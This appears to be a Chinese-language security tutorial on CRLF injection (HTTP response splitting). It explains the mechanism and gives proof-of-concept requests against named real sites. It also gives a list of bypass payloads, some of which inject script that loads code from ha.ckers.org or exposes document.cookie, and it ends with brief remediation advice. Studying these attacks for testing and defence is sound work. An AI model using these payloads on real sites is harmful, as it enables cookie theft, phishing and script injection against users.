注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。

[TOC]

0x00 前言介绍

描述:我们知道HTTP报文的结构:状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔。或者理解为首部最后一个字段有两个CRLF首部和主体由两个CRLF分隔

CRLF(Carriage-Return Line-Feed-回车换行)注入漏洞 是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。

  • 攻击者一旦向请求行或首部中的字段注入恶意的CRLF,就能注入一些首部字段或报文主体,并在响应中输出,所以又称为HTTP响应拆分漏洞(HTTP Response Splitting)。
  • CRLF的概念源自打字机,表明行的结束,计算机出现后沿用了这个概念。
  • 回车(CR, ASCII 13, \r) 换行(LF, ASCII 10, \n),CRLF字符(%0d%0a)CRLF也被称为HTML拆分。
代码 ASCII码 符号 概念
CR 13 \r 光标移到行首
LF 10 \n 光标垂直移到下行
CRLF %0d%0a

注意:但是不同的操作系统行的结束符是不一样的,所以同一文件在不同操作系统中打开,内容格式可能会出现差异,这是行结束符不一致导致的。

  • Windows:使用CRLF表示行的结束
  • Linux/Unix:使用LF表示行的结束
  • MacOS:早期使用CR表示,现在好像也用LF表示行的结束

在HTTP规范中,行应该使用CRLF来结束。首部与主体由两个CRLF分隔,浏览器根据这两个CRLF来获取HTTP内容并显示。


0x01 CRLF漏洞原理

描述:CRLF注入漏洞的本质和XSS有点相似,攻击者将恶意数据发送给易受攻击的Web应用程序,Web应用程序将恶意数据输出在HTTP响应头中。(XSS一般输出在主体中)
所以CRLF注入漏洞的检测也和XSS漏洞的检测差不多。通过修改HTTP参数或URL,注入恶意的CRLF,查看构造的恶意数据是否在响应头中输出。

原理1:找到输入点,构造恶意的CRLF字符
描述:header可控的请求我们就可以尝试进行CRLF注入作为演示

#现在HTTP标头中的每一行都由CRLF分隔(如前所述,这是不可打印的ASCII字符)。
#Request [CRLF]
GET /test/demo.php?url=https://weiyigeek.github.io [CRLF]
Host: 127.0.0.1 [CRLF]
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 [CRLF]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 [CRLF]
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 [CRLF]
Accept-Encoding: gzip, deflate [CRLF]


#Response
HTTP/1.1 200 OK [CRLF]
Connection: keep-alive [CRLF]
Content-Encoding: deflate [CRLF]
Locations=https://weiyigeek.github.io [CRLF]

抓包在请求行的url参数中加入特殊构造的CRLF字符,查看恶意数据是否在响应头中多了个Set-Cookie字段,如果证实了该系统存在CRLF注入漏洞就可以进行下一步;
WeiyiGeek.

构造POC:

%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a<script>alert(1)</script>

请求上面的POC后的响应头,触发我们的js并弹窗这也就是最简单的一次crlf注入

#Content-Length:0 代表header 的结尾返回包会变成这个样子
HTTP/1.1 200 OK
Connection: keep-alive
Content-Encoding: deflate
Locations=https://baidu.com
Content-Length: 0
<script>alert(1)</script>

0x02 CRLF漏洞利用

描述:我们在渗透测试过程中可以寻找我们可控返回包header的请求;

示例1.区块链中的CRLF注入

#当我浏览网站时,发现了一个可以下载JSON和CSV格式的图表数据的地方。
GET /charts/total-bitcoins?cors=true&format=csv&lang=english HTTP/1.1
Host: api.blockchain.info
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0
Connection: keep-alive
Upgrade-Insecure-Requests: 1

#注意最后的lang请求参数并将其更改为“ lang = english”,这时候响应标头有所不同
HTTP/2.0 200 OK
date: Tue, 31 Oct 2017 15:47:21 GMT
content-type: text/csv; charset=ascii
content-length: 10953
access-control-allow-origin: *
cache-control: public, max-age=60
content-disposition: attachment; filename="total-bitcoins.csv"
content-language: english


#验证检查是否可以添加“ CRLF”并添加自己的响应头,以检查是否插入了“ CRLF”(必须对其进行URL编码),发送请求时\ r \ n的URL编码为“%0D%0A”
https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en%0ATEST #在返回包里面发现响应头TEST


#利用CRLF漏洞去执行JavaScript代码,去盗取cookie或构筑钓鱼页面
https://api2.blockchain.info/charts/total-bitcoins?cors=true&format=csv&lang=en%0AX-XSS-Protection:0%0AContent-Type:text/html%0AContent-Length:35%0A%0A% 3Csvg%20onload%3Dalert%28document.domain%29%3E&__ cf_waf_tk __ = 012853002E6loVIOSyqHfdxrvHJ87MshEnZI


示例2: 路径作为HEADER返回包的响应头;

#其实利用方法与上面的大致一致,不同的是出现的缺陷的位置值得注意
http://test.com/demo/HEADER #HEADER会出现在header中

HTTP/2.0 200 OK
date: Tue, 31 Oct 2017 15:47:21 GMT
Localtion: HEADER


示例3:值得学习的利用跳转XSS

#请求
https://team.badoo.com/%0d%0adata:text/html;text,%3Csvg%2fonload%3Dprompt%281%29%3E

#返回的头
Location: data:text/html;text,%3Csvg%2fonload%3Dprompt%281%29%3E

0x03 CRLF绕过

补充附录:

  • 挖掘CRLF漏洞和bypass安全检测Payload
    %0d%0a
    %0d%0a%0d%0a
    r%0d%0aContentLength:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0d%0aContentLength:%2019%0d%0a%0d%0a<html>Injected%02Content</html>
    %0d%0d%0a%0a
    0x0D0x0A
    0x0D0x0D0x0A0x0A
    \r\n
    %5cr%5cn
    %0%0d%0ad%0%0d%0aa
    %0%0D%0AD%0%0D%0AA
    %0d%0aContentType:%20text/html;charset=UTF-7%0d%0aContent-Length:%20129%0d%0a%0d%0a%2BADw-html%2BAD4-%2BADw-body%2BAD4-%2BADw-script%2BAD4-alert%28%27XSS,cookies:%27%2Bdocument.cookie%29%2BADw-/script%2BAD4-%2BADw-/body%2BAD4-%2BADw-/html%2BAD4
    %0AContent-Type:html%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
    %0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
    %0AContent-Type:html%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3Ehttp://www.test.com
    %0d%0a%0d%0a%3Chtml%3E%3Cbody%3E%3C%2Fbody%3E%3Cscript+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fs.js%3E%3C%2Fscript%3E%3Cscript%3Ealert(%22location.host%20is:%20%22%2Blocation.host)%3C%2Fscript%3E%3C%2Fhtml%3E
    %0d%0a%0d%0a%3Cscript+src%3Dhttp%3A%2F%2Fha.ckers.org%2Fxss.js%3E%3C%2Fscript%3E
    %22%3E%0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E%3C%22
    %0AContent-type:%20text/html%0A%0Ahttp://www.test.com/%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
    %0d%0a%0d%0a%3Cscript%3Ealert(%22XSS%22)%3C%2Fscript%3E
    %0A%0A%3Cscript%3Ealert(%22XSS%22)%3C/script%3E

0x04 安全防御

漏洞修复关键点:
过滤 \r 、\n 之类的行结束符,避免输入的数据污染其他 HTTP 首部字段。


0x05 参考来源